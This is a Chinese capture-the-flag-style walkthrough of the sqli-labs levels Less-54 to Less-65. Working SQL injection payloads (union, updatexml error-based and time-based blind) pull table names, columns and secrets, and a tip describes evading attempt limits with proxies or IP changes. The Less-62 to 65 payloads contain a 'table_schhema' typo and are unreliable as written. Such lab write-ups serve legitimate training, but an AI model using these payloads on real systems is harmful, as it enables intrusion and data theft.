最后一个部分啦~

Less-54

本关是字符型注入,但是只能尝试十次,这里的表名和密码等是每十次尝试后就强制进行更换。已知数据库名字叫做 challenges。

54.1获取表名

1
2
3
payloay:

id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

得到表名为2ope75q6zd

54.2获得列名

1
2
3
payload:

id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='2ope75q6zd')--+

得到列名为:

54.3获得密码

1
2
3
payload:

id=-1' union select 1,2,(select group_concat(secret_05Z3) from challenges.2ope75q6zd)--+

得到密码为lfBO3vPE7GdhmgTXQczwr2ne

实际渗透测试当中,我们可以利用更换 ip(可以考虑代理)或者更换浏览器等,要看服务器端检测什么内容进行限制。

Less-55

本关和 less54 差不多,只要将上述的语句的’换成)即可,但是这里要求次数为 14 次。

55.1获得表名

1
2
3
payload:

id=-1) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

得到表名为i06vq2flin

55.2获得列名

1
2
3
payload:

id=-1) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='i06vq2flin')--+

得到列名为:

55.3获得密码

1
id=-1) union select 1,2,(select group_concat(secret_3IW0) from challenges.i06vq2flin)--+

得到密码为sUPkMFLHHcCFx53qGcVnWgeK

Less-56

与less54.55 形式是一致的,只是sql语句中id=(‘$id’)

获得表名:

1
2
3
payload:

id=-1') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

得到表名为aeiv7ims93

后面的以此类推。

Less-57

与前面关卡形式是一致的,只是sql语句中id=”$id”

获得表名:

1
2
3
payload:

id=-1" union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

得到表名为9vdsnwwupd

Less-58

当我们采用之前的union联合语句时,并没有出现表的信息。

采用报错注入:

58.1获得表名

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

得到表名为six41nqivz

58.2获得列名

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='six41nqivz'),0x7e),1)--+

获得列名:

58.3获得密码

1
2
3
payload:

id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_AVJD) from challenges.six41nqivz),0x7e),1)--+

得到密码为Vee33Ad4mu5g9yGiAxqXFv4x

Less-59

与Less58基本一样,也采用报错注入。只要将单引号去掉即可。

获得表名

1
2
3
payload:

id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

得到表名为grox7vwdve

Less-60

与Less58基本一样,也采用报错注入。只要将’改成1”)即可。

获得表名

1
2
3
payload:

id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

得到表名为t6f0xzgydq

Less-61

与Less58基本一样,也采用报错注入。只要将’改成’))即可。

获得表名

1
2
3
payload:

id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

得到表名为dfgn4x3x0d

Less-62

本关union和报错注入都已经失效了,那就要使用延时注入了。

1
2
3
payload:

id=1') and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schhema=database()),1,1)=79,1,sleep(5)))--+

这里找到一个好的脚本,可以引用一下:

https://www.jianshu.com/p/f1811e108d58

我就直接根据脚本得到了表名和密码:

Less-63

与Less-62一样,采用盲注,只需要将’)改成’即可。

1
2
3
payload:

id=1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schhema=database()),1,1)=79,1,sleep(5)))--+

同样利用脚本可得到表名和密码:

Less-64

与Less-62一样,采用盲注,只需要将’)改成))即可。

1
2
3
payload:

id=1)) and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schhema=database()),1,1)=79,1,sleep(5)))--+

Less-65

与Less-62一样,采用盲注,只需要将’)改成”)即可。

1
2
3
payload:

id=1") and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schhema=database()),1,1)=79,1,sleep(5)))--+

总结

终于打完了sqli靶场,太不容易了。关于sql注入的知识还是非常多的,还有好多好多需要练习的地方。